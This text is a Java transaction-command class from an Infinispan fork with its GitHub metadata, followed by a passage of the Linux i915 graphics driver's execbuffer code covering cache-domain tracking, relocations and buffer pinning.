this.globalTx = gtx;
this.modifications = modifications;
this.onePhaseCommit = onePhaseCommit;
}
public PrepareCommand(String cacheName, GlobalTransaction gtx, List<WriteCommand> commands, boolean onePhaseCommit) {
super(cacheName);
this.globalTx = gtx;
this.modifications = commands == null || commands.isEmpty() ? null : commands.toArray(new WriteCommand[commands.size()]);
this.onePhaseCommit = onePhaseCommit;
}
public PrepareCommand(String cacheName) {
super(cacheName);
}
@Override
public Object perform(InvocationContext ignored) throws Throwable {
if (ignored != null)
throw new IllegalStateException("Expected null context!");
if (recoveryManager != null && recoveryManager.isTransactionPrepared(globalTx)) {
log.tracef("The transaction %s is already prepared. Skipping prepare call.", globalTx);
return null;
}
// 1. first create a remote transaction (or get the existing one)
RemoteTransaction remoteTransaction = getRemoteTransaction();
//set the list of modifications anyway, as the transaction might have already been created by a previous
//LockControlCommand with null modifications.
if (hasModifications()) {
remoteTransaction.setModifications(Arrays.asList(modifications));
}
reconfigurableReplicationManager.notifyRemoteTransaction(getGlobalTransaction(), getAffectedKeysToLock(false));
// 2. then set it on the invocation context
RemoteTxInvocationContext ctx = icc.createRemoteTxInvocationContext(remoteTransaction, getOrigin());
if (trace)
log.tracef("Invoking remotely originated prepare: %s with invocation context: %s", this, ctx);
notifier.notifyTransactionRegistered(ctx.getGlobalTransaction(), ctx);
return invoker.invoke(ctx, this);
}
@Override
protected RemoteTransaction getRemoteTransaction() {
return txTable.getOrCreateRemoteTransaction(globalTx, modifications);
}
@Override
public Object acceptVisitor(InvocationContext ctx, Visitor visitor) throws Throwable {
return visitor.visitPrepareCommand((TxInvocationContext) ctx, this);
}
public WriteCommand[] getModifications() {
return modifications == null ? EMPTY_WRITE_COMMAND_ARRAY : modifications;
}
public boolean isOnePhaseCommit() {
return onePhaseCommit;
}
@Override
public byte getCommandId() {
return COMMAND_ID;
}
@Override
public Object[] getParameters() {
int numMods = modifications == null ? 0 : modifications.length;
int i = 0;
final int params = 3;
Object[] retval = new Object[numMods + params];
retval[i++] = globalTx;
retval[i++] = onePhaseCommit;
retval[i++] = numMods;
if (numMods > 0) System.arraycopy(modifications, 0, retval, params, numMods);
return retval;
}
@Override
@SuppressWarnings("unchecked")
public void setParameters(int commandId, Object[] args) {
int i = 0;
globalTx = (GlobalTransaction) args[i++];
onePhaseCommit = (Boolean) args[i++];
int numMods = (Integer) args[i++];
if (numMods > 0) {
modifications = new WriteCommand[numMods];
System.arraycopy(args, i, modifications, 0, numMods);
}
}
public PrepareCommand copy() {
PrepareCommand copy = new PrepareCommand(cacheName);
copy.globalTx = globalTx;
copy.modifications = modifications == null ? null : modifications.clone();
copy.onePhaseCommit = onePhaseCommit;
return copy;
}
@Override
public String toString() {
return "PrepareCommand {" +
"modifications=" + (modifications == null ? null : Arrays.asList(modifications)) +
", onePhaseCommit=" + onePhaseCommit +
", " + super.toString();
}
public boolean hasModifications() {
return modifications != null && modifications.length > 0;
}
public Set<Object> getAffectedKeys() {
if (modifications == null || modifications.length == 0)
return InfinispanCollections.emptySet();
if (modifications.length == 1) return modifications[0].getAffectedKeys();
Set<Object> keys = new HashSet<Object>(modifications.length);
for (WriteCommand wc: modifications) keys.addAll(wc.getAffectedKeys());
return keys;
}
/**
* If set to true, then the keys touched by this transaction are to be wrapped again and original ones discarded.
*/
public boolean isReplayEntryWrapping() {
return replayEntryWrapping;
}
/**
* @see #isReplayEntryWrapping()
*/
public void setReplayEntryWrapping(boolean replayEntryWrapping) {
this.replayEntryWrapping = replayEntryWrapping;
}
public boolean writesToASingleKey() {
if (modifications == null || modifications.length != 1)
return false;
WriteCommand wc = modifications[0];
return wc instanceof PutKeyValueCommand || wc instanceof RemoveCommand || wc instanceof ReplaceCommand;
}
@Override
public boolean isReturnValueExpected() {
return false;
}
/**
* It returns an array of keys affected by the WriteCommand in modifications.
*
* @param sort if {@code true}, the array returned is sorted by the key hash.
* @return an array of keys
*/
public Object[] getAffectedKeysToLock(boolean sort) {
return getAffectedKeysToLock(sort, modifications);
}
public boolean wasInvoked() {
return wasInvoked;
}
public void setWasInvoked(boolean wasInvoked) {
this.wasInvoked = wasInvoked;
}
public static Object[] getAffectedKeysToLock(boolean sort, WriteCommand... modifications) {
if (modifications == null || modifications.length == 0) {
return EMPTY_ARRAY;
}
return getAffectedKeysToLock(sort, Arrays.asList(modifications));
}
public static Object[] getAffectedKeysToLock(boolean sort, Collection<WriteCommand> modifications) {
if (modifications == null) {
return EMPTY_ARRAY;
}
Set<Object> set = new HashSet<Object>(modifications.size());
for (WriteCommand wc : modifications) {
switch (wc.getCommandId()) {
case ClearCommand.COMMAND_ID:
return null;
case PutKeyValueCommand.COMMAND_ID:
case RemoveCommand.COMMAND_ID:
case ReplaceCommand.COMMAND_ID:
set.add(((DataWriteCommand) wc).getKey());
break;
case PutMapCommand.COMMAND_ID:
set.addAll(wc.getAffectedKeys());
break;
case ApplyDeltaCommand.COMMAND_ID:
ApplyDeltaCommand command = (ApplyDeltaCommand) wc;
Object[] compositeKeys = command.getCompositeKeys();
set.addAll(Arrays.asList(compositeKeys));
break;
}
}
Object[] sorted = set.toArray(new Object[set.size()]);
if (sort) {
TimSort.sort(sorted, KEY_COMPARATOR);
}
return sorted;
}
}
| {
"content_hash": "737ce349287c7be47a4f16303b36a674",
"timestamp": "",
"source": "github",
"line_count": 283,
"max_line_length": 127,
"avg_line_length": 35.226148409893995,
"alnum_prop": 0.6949543585113853,
"repo_name": "nmldiegues/stibt",
"id": "a3c047a152f1499b1ca1bd542a7d1f28c5bdc515",
"size": "11023",
"binary": false,
"copies": "3",
"ref": "refs/heads/master",
"path": "infinispan/core/src/main/java/org/infinispan/commands/tx/PrepareCommand.java",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "Batchfile",
"bytes": "3441"
},
{
"name": "CSS",
"bytes": "6677"
},
{
"name": "GAP",
"bytes": "30552"
},
{
"name": "HTML",
"bytes": "17606"
},
{
"name": "Java",
"bytes": "15496473"
},
{
"name": "JavaScript",
"bytes": "3234"
},
{
"name": "Python",
"bytes": "131164"
},
{
"name": "Ruby",
"bytes": "36919"
},
{
"name": "Scala",
"bytes": "509174"
},
{
"name": "Shell",
"bytes": "146366"
},
{
"name": "XSLT",
"bytes": "52280"
}
],
"symlink_target": ""
} |
#include "drmP.h"
#include "drm.h"
#include "i915_drm.h"
#include "i915_drv.h"
#include "i915_trace.h"
#include "intel_drv.h"
struct change_domains {
uint32_t invalidate_domains;
uint32_t flush_domains;
uint32_t flush_rings;
uint32_t flips;
};
/*
* Set the next domain for the specified object. This
* may not actually perform the necessary flushing/invaliding though,
* as that may want to be batched with other set_domain operations
*
* This is (we hope) the only really tricky part of gem. The goal
* is fairly simple -- track which caches hold bits of the object
* and make sure they remain coherent. A few concrete examples may
* help to explain how it works. For shorthand, we use the notation
* (read_domains, write_domain), e.g. (CPU, CPU) to indicate the
* a pair of read and write domain masks.
*
* Case 1: the batch buffer
*
* 1. Allocated
* 2. Written by CPU
* 3. Mapped to GTT
* 4. Read by GPU
* 5. Unmapped from GTT
* 6. Freed
*
* Let's take these a step at a time
*
* 1. Allocated
* Pages allocated from the kernel may still have
* cache contents, so we set them to (CPU, CPU) always.
* 2. Written by CPU (using pwrite)
* The pwrite function calls set_domain (CPU, CPU) and
* this function does nothing (as nothing changes)
* 3. Mapped by GTT
* This function asserts that the object is not
* currently in any GPU-based read or write domains
* 4. Read by GPU
* i915_gem_execbuffer calls set_domain (COMMAND, 0).
* As write_domain is zero, this function adds in the
* current read domains (CPU+COMMAND, 0).
* flush_domains is set to CPU.
* invalidate_domains is set to COMMAND
* clflush is run to get data out of the CPU caches
* then i915_dev_set_domain calls i915_gem_flush to
* emit an MI_FLUSH and drm_agp_chipset_flush
* 5. Unmapped from GTT
* i915_gem_object_unbind calls set_domain (CPU, CPU)
* flush_domains and invalidate_domains end up both zero
* so no flushing/invalidating happens
* 6. Freed
* yay, done
*
* Case 2: The shared render buffer
*
* 1. Allocated
* 2. Mapped to GTT
* 3. Read/written by GPU
* 4. set_domain to (CPU,CPU)
* 5. Read/written by CPU
* 6. Read/written by GPU
*
* 1. Allocated
* Same as last example, (CPU, CPU)
* 2. Mapped to GTT
* Nothing changes (assertions find that it is not in the GPU)
* 3. Read/written by GPU
* execbuffer calls set_domain (RENDER, RENDER)
* flush_domains gets CPU
* invalidate_domains gets GPU
* clflush (obj)
* MI_FLUSH and drm_agp_chipset_flush
* 4. set_domain (CPU, CPU)
* flush_domains gets GPU
* invalidate_domains gets CPU
* wait_rendering (obj) to make sure all drawing is complete.
* This will include an MI_FLUSH to get the data from GPU
* to memory
* clflush (obj) to invalidate the CPU cache
* Another MI_FLUSH in i915_gem_flush (eliminate this somehow?)
* 5. Read/written by CPU
* cache lines are loaded and dirtied
* 6. Read written by GPU
* Same as last GPU access
*
* Case 3: The constant buffer
*
* 1. Allocated
* 2. Written by CPU
* 3. Read by GPU
* 4. Updated (written) by CPU again
* 5. Read by GPU
*
* 1. Allocated
* (CPU, CPU)
* 2. Written by CPU
* (CPU, CPU)
* 3. Read by GPU
* (CPU+RENDER, 0)
* flush_domains = CPU
* invalidate_domains = RENDER
* clflush (obj)
* MI_FLUSH
* drm_agp_chipset_flush
* 4. Updated (written) by CPU again
* (CPU, CPU)
* flush_domains = 0 (no previous write domain)
* invalidate_domains = 0 (no new read domains)
* 5. Read by GPU
* (CPU+RENDER, 0)
* flush_domains = CPU
* invalidate_domains = RENDER
* clflush (obj)
* MI_FLUSH
* drm_agp_chipset_flush
*/
static void
i915_gem_object_set_to_gpu_domain(struct drm_i915_gem_object *obj,
struct intel_ring_buffer *ring,
struct change_domains *cd)
{
uint32_t invalidate_domains = 0, flush_domains = 0;
/*
* If the object isn't moving to a new write domain,
* let the object stay in multiple read domains
*/
if (obj->base.pending_write_domain == 0)
obj->base.pending_read_domains |= obj->base.read_domains;
/*
* Flush the current write domain if
* the new read domains don't match. Invalidate
* any read domains which differ from the old
* write domain
*/
if (obj->base.write_domain &&
(((obj->base.write_domain != obj->base.pending_read_domains ||
obj->ring != ring)) ||
(obj->fenced_gpu_access && !obj->pending_fenced_gpu_access))) {
flush_domains |= obj->base.write_domain;
invalidate_domains |=
obj->base.pending_read_domains & ~obj->base.write_domain;
}
/*
* Invalidate any read caches which may have
* stale data. That is, any new read domains.
*/
invalidate_domains |= obj->base.pending_read_domains & ~obj->base.read_domains;
if ((flush_domains | invalidate_domains) & I915_GEM_DOMAIN_CPU)
i915_gem_clflush_object(obj);
if (obj->base.pending_write_domain)
cd->flips |= atomic_read(&obj->pending_flip);
/* The actual obj->write_domain will be updated with
* pending_write_domain after we emit the accumulated flush for all
* of our domain changes in execbuffers (which clears objects'
* write_domains). So if we have a current write domain that we
* aren't changing, set pending_write_domain to that.
*/
if (flush_domains == 0 && obj->base.pending_write_domain == 0)
obj->base.pending_write_domain = obj->base.write_domain;
cd->invalidate_domains |= invalidate_domains;
cd->flush_domains |= flush_domains;
if (flush_domains & I915_GEM_GPU_DOMAINS)
cd->flush_rings |= obj->ring->id;
if (invalidate_domains & I915_GEM_GPU_DOMAINS)
cd->flush_rings |= ring->id;
}
struct eb_objects {
int and;
struct hlist_head buckets[0];
};
static struct eb_objects *
eb_create(int size)
{
struct eb_objects *eb;
int count = PAGE_SIZE / sizeof(struct hlist_head) / 2;
while (count > size)
count >>= 1;
eb = kzalloc(count*sizeof(struct hlist_head) +
sizeof(struct eb_objects),
GFP_KERNEL);
if (eb == NULL)
return eb;
eb->and = count - 1;
return eb;
}
static void
eb_reset(struct eb_objects *eb)
{
memset(eb->buckets, 0, (eb->and+1)*sizeof(struct hlist_head));
}
static void
eb_add_object(struct eb_objects *eb, struct drm_i915_gem_object *obj)
{
hlist_add_head(&obj->exec_node,
&eb->buckets[obj->exec_handle & eb->and]);
}
static struct drm_i915_gem_object *
eb_get_object(struct eb_objects *eb, unsigned long handle)
{
struct hlist_head *head;
struct hlist_node *node;
struct drm_i915_gem_object *obj;
head = &eb->buckets[handle & eb->and];
hlist_for_each(node, head) {
obj = hlist_entry(node, struct drm_i915_gem_object, exec_node);
if (obj->exec_handle == handle)
return obj;
}
return NULL;
}
static void
eb_destroy(struct eb_objects *eb)
{
kfree(eb);
}
static int
i915_gem_execbuffer_relocate_entry(struct drm_i915_gem_object *obj,
struct eb_objects *eb,
struct drm_i915_gem_relocation_entry *reloc)
{
struct drm_device *dev = obj->base.dev;
struct drm_gem_object *target_obj;
uint32_t target_offset;
int ret = -EINVAL;
/* we've already hold a reference to all valid objects */
target_obj = &eb_get_object(eb, reloc->target_handle)->base;
if (unlikely(target_obj == NULL))
return -ENOENT;
target_offset = to_intel_bo(target_obj)->gtt_offset;
/* The target buffer should have appeared before us in the
* exec_object list, so it should have a GTT space bound by now.
*/
if (unlikely(target_offset == 0)) {
DRM_ERROR("No GTT space found for object %d\n",
reloc->target_handle);
return ret;
}
/* Validate that the target is in a valid r/w GPU domain */
if (unlikely(reloc->write_domain & (reloc->write_domain - 1))) {
DRM_ERROR("reloc with multiple write domains: "
"obj %p target %d offset %d "
"read %08x write %08x",
obj, reloc->target_handle,
(int) reloc->offset,
reloc->read_domains,
reloc->write_domain);
return ret;
}
if (unlikely((reloc->write_domain | reloc->read_domains) & I915_GEM_DOMAIN_CPU)) {
DRM_ERROR("reloc with read/write CPU domains: "
"obj %p target %d offset %d "
"read %08x write %08x",
obj, reloc->target_handle,
(int) reloc->offset,
reloc->read_domains,
reloc->write_domain);
return ret;
}
if (unlikely(reloc->write_domain && target_obj->pending_write_domain &&
reloc->write_domain != target_obj->pending_write_domain)) {
DRM_ERROR("Write domain conflict: "
"obj %p target %d offset %d "
"new %08x old %08x\n",
obj, reloc->target_handle,
(int) reloc->offset,
reloc->write_domain,
target_obj->pending_write_domain);
return ret;
}
target_obj->pending_read_domains |= reloc->read_domains;
target_obj->pending_write_domain |= reloc->write_domain;
/* If the relocation already has the right value in it, no
* more work needs to be done.
*/
if (target_offset == reloc->presumed_offset)
return 0;
/* Check that the relocation address is valid... */
if (unlikely(reloc->offset > obj->base.size - 4)) {
DRM_ERROR("Relocation beyond object bounds: "
"obj %p target %d offset %d size %d.\n",
obj, reloc->target_handle,
(int) reloc->offset,
(int) obj->base.size);
return ret;
}
if (unlikely(reloc->offset & 3)) {
DRM_ERROR("Relocation not 4-byte aligned: "
"obj %p target %d offset %d.\n",
obj, reloc->target_handle,
(int) reloc->offset);
return ret;
}
reloc->delta += target_offset;
if (obj->base.write_domain == I915_GEM_DOMAIN_CPU) {
uint32_t page_offset = reloc->offset & ~PAGE_MASK;
char *vaddr;
vaddr = kmap_atomic(obj->pages[reloc->offset >> PAGE_SHIFT]);
*(uint32_t *)(vaddr + page_offset) = reloc->delta;
kunmap_atomic(vaddr);
} else {
struct drm_i915_private *dev_priv = dev->dev_private;
uint32_t __iomem *reloc_entry;
void __iomem *reloc_page;
/* We can't wait for rendering with pagefaults disabled */
if (obj->active && in_atomic())
return -EFAULT;
ret = i915_gem_object_set_to_gtt_domain(obj, 1);
if (ret)
return ret;
/* Map the page containing the relocation we're going to perform. */
reloc->offset += obj->gtt_offset;
reloc_page = io_mapping_map_atomic_wc(dev_priv->mm.gtt_mapping,
reloc->offset & PAGE_MASK);
reloc_entry = (uint32_t __iomem *)
(reloc_page + (reloc->offset & ~PAGE_MASK));
iowrite32(reloc->delta, reloc_entry);
io_mapping_unmap_atomic(reloc_page);
}
/* and update the user's relocation entry */
reloc->presumed_offset = target_offset;
return 0;
}
static int
i915_gem_execbuffer_relocate_object(struct drm_i915_gem_object *obj,
struct eb_objects *eb)
{
struct drm_i915_gem_relocation_entry __user *user_relocs;
struct drm_i915_gem_exec_object2 *entry = obj->exec_entry;
int i, ret;
user_relocs = (void __user *)(uintptr_t)entry->relocs_ptr;
for (i = 0; i < entry->relocation_count; i++) {
struct drm_i915_gem_relocation_entry reloc;
if (__copy_from_user_inatomic(&reloc,
user_relocs+i,
sizeof(reloc)))
return -EFAULT;
ret = i915_gem_execbuffer_relocate_entry(obj, eb, &reloc);
if (ret)
return ret;
if (__copy_to_user_inatomic(&user_relocs[i].presumed_offset,
&reloc.presumed_offset,
sizeof(reloc.presumed_offset)))
return -EFAULT;
}
return 0;
}
static int
i915_gem_execbuffer_relocate_object_slow(struct drm_i915_gem_object *obj,
struct eb_objects *eb,
struct drm_i915_gem_relocation_entry *relocs)
{
const struct drm_i915_gem_exec_object2 *entry = obj->exec_entry;
int i, ret;
for (i = 0; i < entry->relocation_count; i++) {
ret = i915_gem_execbuffer_relocate_entry(obj, eb, &relocs[i]);
if (ret)
return ret;
}
return 0;
}
static int
i915_gem_execbuffer_relocate(struct drm_device *dev,
struct eb_objects *eb,
struct list_head *objects)
{
struct drm_i915_gem_object *obj;
int ret = 0;
/* This is the fast path and we cannot handle a pagefault whilst
* holding the struct mutex lest the user pass in the relocations
* contained within a mmaped bo. For in such a case we, the page
* fault handler would call i915_gem_fault() and we would try to
* acquire the struct mutex again. Obviously this is bad and so
* lockdep complains vehemently.
*/
pagefault_disable();
list_for_each_entry(obj, objects, exec_list) {
ret = i915_gem_execbuffer_relocate_object(obj, eb);
if (ret)
break;
}
pagefault_enable();
return ret;
}
static int
i915_gem_execbuffer_reserve(struct intel_ring_buffer *ring,
struct drm_file *file,
struct list_head *objects)
{
struct drm_i915_gem_object *obj;
int ret, retry;
bool has_fenced_gpu_access = INTEL_INFO(ring->dev)->gen < 4;
struct list_head ordered_objects;
INIT_LIST_HEAD(&ordered_objects);
while (!list_empty(objects)) {
struct drm_i915_gem_exec_object2 *entry;
bool need_fence, need_mappable;
obj = list_first_entry(objects,
struct drm_i915_gem_object,
exec_list);
entry = obj->exec_entry;
need_fence =
has_fenced_gpu_access &&
entry->flags & EXEC_OBJECT_NEEDS_FENCE &&
obj->tiling_mode != I915_TILING_NONE;
need_mappable =
entry->relocation_count ? true : need_fence;
if (need_mappable)
list_move(&obj->exec_list, &ordered_objects);
else
list_move_tail(&obj->exec_list, &ordered_objects);
obj->base.pending_read_domains = 0;
obj->base.pending_write_domain = 0;
}
list_splice(&ordered_objects, objects);
/* Attempt to pin all of the buffers into the GTT.
* This is done in 3 phases:
*
* 1a. Unbind all objects that do not match the GTT constraints for
* the execbuffer (fenceable, mappable, alignment etc).
* 1b. Increment pin count for already bound objects.
* 2. Bind new objects.
* 3. Decrement pin count.
*
* This avoid unnecessary unbinding of later objects in order to makr
* room for the earlier objects *unless* we need to defragment.
*/
retry = 0;
do {
ret = 0;
/* Unbind any ill-fitting objects or pin. */
list_for_each_entry(obj, objects, exec_list) {
struct drm_i915_gem_exec_object2 *entry = obj->exec_entry;
bool need_fence, need_mappable;
if (!obj->gtt_space)
continue;
need_fence =
has_fenced_gpu_access &&
entry->flags & EXEC_OBJECT_NEEDS_FENCE &&
obj->tiling_mode != I915_TILING_NONE;
need_mappable =
entry->relocation_count ? true : need_fence;
if ((entry->alignment && obj->gtt_offset & (entry->alignment - 1)) ||
(need_mappable && !obj->map_and_fenceable))
ret = i915_gem_object_unbind(obj);
else
ret = i915_gem_object_pin(obj,
entry->alignment,
need_mappable);
if (ret)
goto err;
entry++;
}
/* Bind fresh objects */
list_for_each_entry(obj, objects, exec_list) {
struct drm_i915_gem_exec_object2 *entry = obj->exec_entry;
bool need_fence;
need_fence =
has_fenced_gpu_access &&
entry->flags & EXEC_OBJECT_NEEDS_FENCE &&
obj->tiling_mode != I915_TILING_NONE;
if (!obj->gtt_space) {
bool need_mappable =
entry->relocation_count ? true : need_fence;
ret = i915_gem_object_pin(obj,
entry->alignment,
need_mappable);
if (ret)
break;
}
if (has_fenced_gpu_access) {
if (need_fence) {
ret = i915_gem_object_get_fence(obj, ring);
if (ret)
break;
} else if (entry->flags & EXEC_OBJECT_NEEDS_FENCE &&
obj->tiling_mode == I915_TILING_NONE) {
/* XXX pipelined! */
ret = i915_gem_object_put_fence(obj);
if (ret)
break;
}
obj->pending_fenced_gpu_access = need_fence;
}
entry->offset = obj->gtt_offset;
}
/* Decrement pin count for bound objects */
list_for_each_entry(obj, objects, exec_list) {
if (obj->gtt_space)
i915_gem_object_unpin(obj);
}
if (ret != -ENOSPC || retry > 1)
return ret;
/* First attempt, just clear anything that is purgeable.
* Second attempt, clear the entire GTT.
*/
ret = i915_gem_evict_everything(ring->dev, retry == 0);
if (ret)
return ret;
retry++;
} while (1);
err:
obj = list_entry(obj->exec_list.prev,
struct drm_i915_gem_object,
exec_list);
while (objects != &obj->exec_list) {
if (obj->gtt_space)
i915_gem_object_unpin(obj);
obj = list_entry(obj->exec_list.prev,
struct drm_i915_gem_object,
exec_list);
}
return ret;
}
static int
i915_gem_execbuffer_relocate_slow(struct drm_device *dev,
struct drm_file *file,
struct intel_ring_buffer *ring,
struct list_head *objects,
struct eb_objects *eb,
struct drm_i915_gem_exec_object2 *exec,
int count)
{
struct drm_i915_gem_relocation_entry *reloc;
struct drm_i915_gem_object *obj;
int *reloc_offset;
int i, total, ret;
/* We may process another execbuffer during the unlock... */
while (!list_empty(objects)) {
obj = list_first_entry(objects,
struct drm_i915_gem_object,
exec_list);
list_del_init(&obj->exec_list);
drm_gem_object_unreference(&obj->base);
}
mutex_unlock(&dev->struct_mutex);
total = 0;
for (i = 0; i < count; i++)
total += exec[i].relocation_count;
reloc_offset = drm_malloc_ab(count, sizeof(*reloc_offset));
reloc = drm_malloc_ab(total, sizeof(*reloc));
if (reloc == NULL || reloc_offset == NULL) {
drm_free_large(reloc);
drm_free_large(reloc_offset);
mutex_lock(&dev->struct_mutex);
return -ENOMEM;
}
total = 0;
for (i = 0; i < count; i++) {
struct drm_i915_gem_relocation_entry __user *user_relocs;
user_relocs = (void __user *)(uintptr_t)exec[i].relocs_ptr;
if (copy_from_user(reloc+total, user_relocs,
exec[i].relocation_count * sizeof(*reloc))) {
ret = -EFAULT;
mutex_lock(&dev->struct_mutex);
goto err;
}
reloc_offset[i] = total;
total += exec[i].relocation_count;
}
ret = i915_mutex_lock_interruptible(dev);
if (ret) {
mutex_lock(&dev->struct_mutex);
goto err;
}
/* reacquire the objects */
eb_reset(eb);
for (i = 0; i < count; i++) {
obj = to_intel_bo(drm_gem_object_lookup(dev, file,
exec[i].handle));
if (&obj->base == NULL) {
DRM_ERROR("Invalid object handle %d at index %d\n",
exec[i].handle, i);
ret = -ENOENT;
goto err;
}
list_add_tail(&obj->exec_list, objects);
obj->exec_handle = exec[i].handle;
obj->exec_entry = &exec[i];
eb_add_object(eb, obj);
}
ret = i915_gem_execbuffer_reserve(ring, file, objects);
if (ret)
goto err;
list_for_each_entry(obj, objects, exec_list) {
int offset = obj->exec_entry - exec;
ret = i915_gem_execbuffer_relocate_object_slow(obj, eb,
reloc + reloc_offset[offset]);
if (ret)
goto err;
}
/* Leave the user relocations as are, this is the painfully slow path,
* and we want to avoid the complication of dropping the lock whilst
* having buffers reserved in the aperture and so causing spurious
* ENOSPC for random operations.
*/
err:
drm_free_large(reloc);
drm_free_large(reloc_offset);
return ret;
}
static int
i915_gem_execbuffer_flush(struct drm_device *dev,
uint32_t invalidate_domains,
uint32_t flush_domains,
uint32_t flush_rings)
{
drm_i915_private_t *dev_priv = dev->dev_private;
int i, ret;
if (flush_domains & I915_GEM_DOMAIN_CPU)
intel_gtt_chipset_flush();
if (flush_domains & I915_GEM_DOMAIN_GTT)
wmb();
if ((flush_domains | invalidate_domains) & I915_GEM_GPU_DOMAINS) {
for (i = 0; i < I915_NUM_RINGS; i++)
if (flush_rings & (1 << i)) {
ret = i915_gem_flush_ring(&dev_priv->ring[i],
invalidate_domains,
flush_domains);
if (ret)
return ret;
}
}
return 0;
}
static int
i915_gem_execbuffer_sync_rings(struct drm_i915_gem_object *obj,
struct intel_ring_buffer *to)
{
struct intel_ring_buffer *from = obj->ring;
u32 seqno;
int ret, idx;
if (from == NULL || to == from)
return 0;
/* XXX gpu semaphores are implicated in various hard hangs on SNB */
if (INTEL_INFO(obj->base.dev)->gen < 6 || !i915_semaphores)
return i915_gem_object_wait_rendering(obj);
idx = intel_ring_sync_index(from, to);
seqno = obj->last_rendering_seqno;
if (seqno <= from->sync_seqno[idx])
return 0;
if (seqno == from->outstanding_lazy_request) {
struct drm_i915_gem_request *request;
request = kzalloc(sizeof(*request), GFP_KERNEL);
if (request == NULL)
return -ENOMEM;
ret = i915_add_request(from, NULL, request);
if (ret) {
kfree(request);
return ret;
}
seqno = request->seqno;
}
from->sync_seqno[idx] = seqno;
return intel_ring_sync(to, from, seqno - 1);
}
static int
i915_gem_execbuffer_wait_for_flips(struct intel_ring_buffer *ring, u32 flips)
{
u32 plane, flip_mask;
int ret;
/* Check for any pending flips. As we only maintain a flip queue depth
* of 1, we can simply insert a WAIT for the next display flip prior
* to executing the batch and avoid stalling the CPU.
*/
for (plane = 0; flips >> plane; plane++) {
if (((flips >> plane) & 1) == 0)
continue;
if (plane)
flip_mask = MI_WAIT_FOR_PLANE_B_FLIP;
else
flip_mask = MI_WAIT_FOR_PLANE_A_FLIP;
ret = intel_ring_begin(ring, 2);
if (ret)
return ret;
intel_ring_emit(ring, MI_WAIT_FOR_EVENT | flip_mask);
intel_ring_emit(ring, MI_NOOP);
intel_ring_advance(ring);
}
return 0;
}
static int
i915_gem_execbuffer_move_to_gpu(struct intel_ring_buffer *ring,
struct list_head *objects)
{
struct drm_i915_gem_object *obj;
struct change_domains cd;
int ret;
memset(&cd, 0, sizeof(cd));
list_for_each_entry(obj, objects, exec_list)
i915_gem_object_set_to_gpu_domain(obj, ring, &cd);
if (cd.invalidate_domains | cd.flush_domains) {
ret = i915_gem_execbuffer_flush(ring->dev,
cd.invalidate_domains,
cd.flush_domains,
cd.flush_rings);
if (ret)
return ret;
}
if (cd.flips) {
ret = i915_gem_execbuffer_wait_for_flips(ring, cd.flips);
if (ret)
return ret;
}
list_for_each_entry(obj, objects, exec_list) {
ret = i915_gem_execbuffer_sync_rings(obj, ring);
if (ret)
return ret;
}
return 0;
}
static bool
i915_gem_check_execbuffer(struct drm_i915_gem_execbuffer2 *exec)
{
return ((exec->batch_start_offset | exec->batch_len) & 0x7) == 0;
}
static int
validate_exec_list(struct drm_i915_gem_exec_object2 *exec,
int count)
{
int i;
for (i = 0; i < count; i++) {
char __user *ptr = (char __user *)(uintptr_t)exec[i].relocs_ptr;
int length; /* limited by fault_in_pages_readable() */
/* First check for malicious input causing overflow */
if (exec[i].relocation_count >
INT_MAX / sizeof(struct drm_i915_gem_relocation_entry))
return -EINVAL;
length = exec[i].relocation_count *
sizeof(struct drm_i915_gem_relocation_entry);
if (!access_ok(VERIFY_READ, ptr, length))
return -EFAULT;
/* we may also need to update the presumed offsets */
if (!access_ok(VERIFY_WRITE, ptr, length))
return -EFAULT;
if (fault_in_pages_readable(ptr, length))
return -EFAULT;
}
return 0;
}
static void
i915_gem_execbuffer_move_to_active(struct list_head *objects,
struct intel_ring_buffer *ring,
u32 seqno)
{
struct drm_i915_gem_object *obj;
list_for_each_entry(obj, objects, exec_list) {
u32 old_read = obj->base.read_domains;
u32 old_write = obj->base.write_domain;
obj->base.read_domains = obj->base.pending_read_domains;
obj->base.write_domain = obj->base.pending_write_domain;
obj->fenced_gpu_access = obj->pending_fenced_gpu_access;
i915_gem_object_move_to_active(obj, ring, seqno);
if (obj->base.write_domain) {
obj->dirty = 1;
obj->pending_gpu_write = true;
list_move_tail(&obj->gpu_write_list,
&ring->gpu_write_list);
intel_mark_busy(ring->dev, obj);
}
trace_i915_gem_object_change_domain(obj, old_read, old_write);
}
}
static void
i915_gem_execbuffer_retire_commands(struct drm_device *dev,
struct drm_file *file,
struct intel_ring_buffer *ring)
{
struct drm_i915_gem_request *request;
u32 invalidate;
/*
* Ensure that the commands in the batch buffer are
* finished before the interrupt fires.
*
* The sampler always gets flushed on i965 (sigh).
*/
invalidate = I915_GEM_DOMAIN_COMMAND;
if (INTEL_INFO(dev)->gen >= 4)
invalidate |= I915_GEM_DOMAIN_SAMPLER;
if (ring->flush(ring, invalidate, 0)) {
i915_gem_next_request_seqno(ring);
return;
}
/* Add a breadcrumb for the completion of the batch buffer */
request = kzalloc(sizeof(*request), GFP_KERNEL);
if (request == NULL || i915_add_request(ring, file, request)) {
i915_gem_next_request_seqno(ring);
kfree(request);
}
}
static int
i915_gem_do_execbuffer(struct drm_device *dev, void *data,
struct drm_file *file,
struct drm_i915_gem_execbuffer2 *args,
struct drm_i915_gem_exec_object2 *exec)
{
drm_i915_private_t *dev_priv = dev->dev_private;
struct list_head objects;
struct eb_objects *eb;
struct drm_i915_gem_object *batch_obj;
struct drm_clip_rect *cliprects = NULL;
struct intel_ring_buffer *ring;
u32 exec_start, exec_len;
u32 seqno;
int ret, mode, i;
if (!i915_gem_check_execbuffer(args)) {
DRM_ERROR("execbuf with invalid offset/length\n");
return -EINVAL;
}
ret = validate_exec_list(exec, args->buffer_count);
if (ret)
return ret;
switch (args->flags & I915_EXEC_RING_MASK) {
case I915_EXEC_DEFAULT:
case I915_EXEC_RENDER:
ring = &dev_priv->ring[RCS];
break;
case I915_EXEC_BSD:
if (!HAS_BSD(dev)) {
DRM_ERROR("execbuf with invalid ring (BSD)\n");
return -EINVAL;
}
ring = &dev_priv->ring[VCS];
break;
case I915_EXEC_BLT:
if (!HAS_BLT(dev)) {
DRM_ERROR("execbuf with invalid ring (BLT)\n");
return -EINVAL;
}
ring = &dev_priv->ring[BCS];
break;
default:
DRM_ERROR("execbuf with unknown ring: %d\n",
(int)(args->flags & I915_EXEC_RING_MASK));
return -EINVAL;
}
mode = args->flags & I915_EXEC_CONSTANTS_MASK;
switch (mode) {
case I915_EXEC_CONSTANTS_REL_GENERAL:
case I915_EXEC_CONSTANTS_ABSOLUTE:
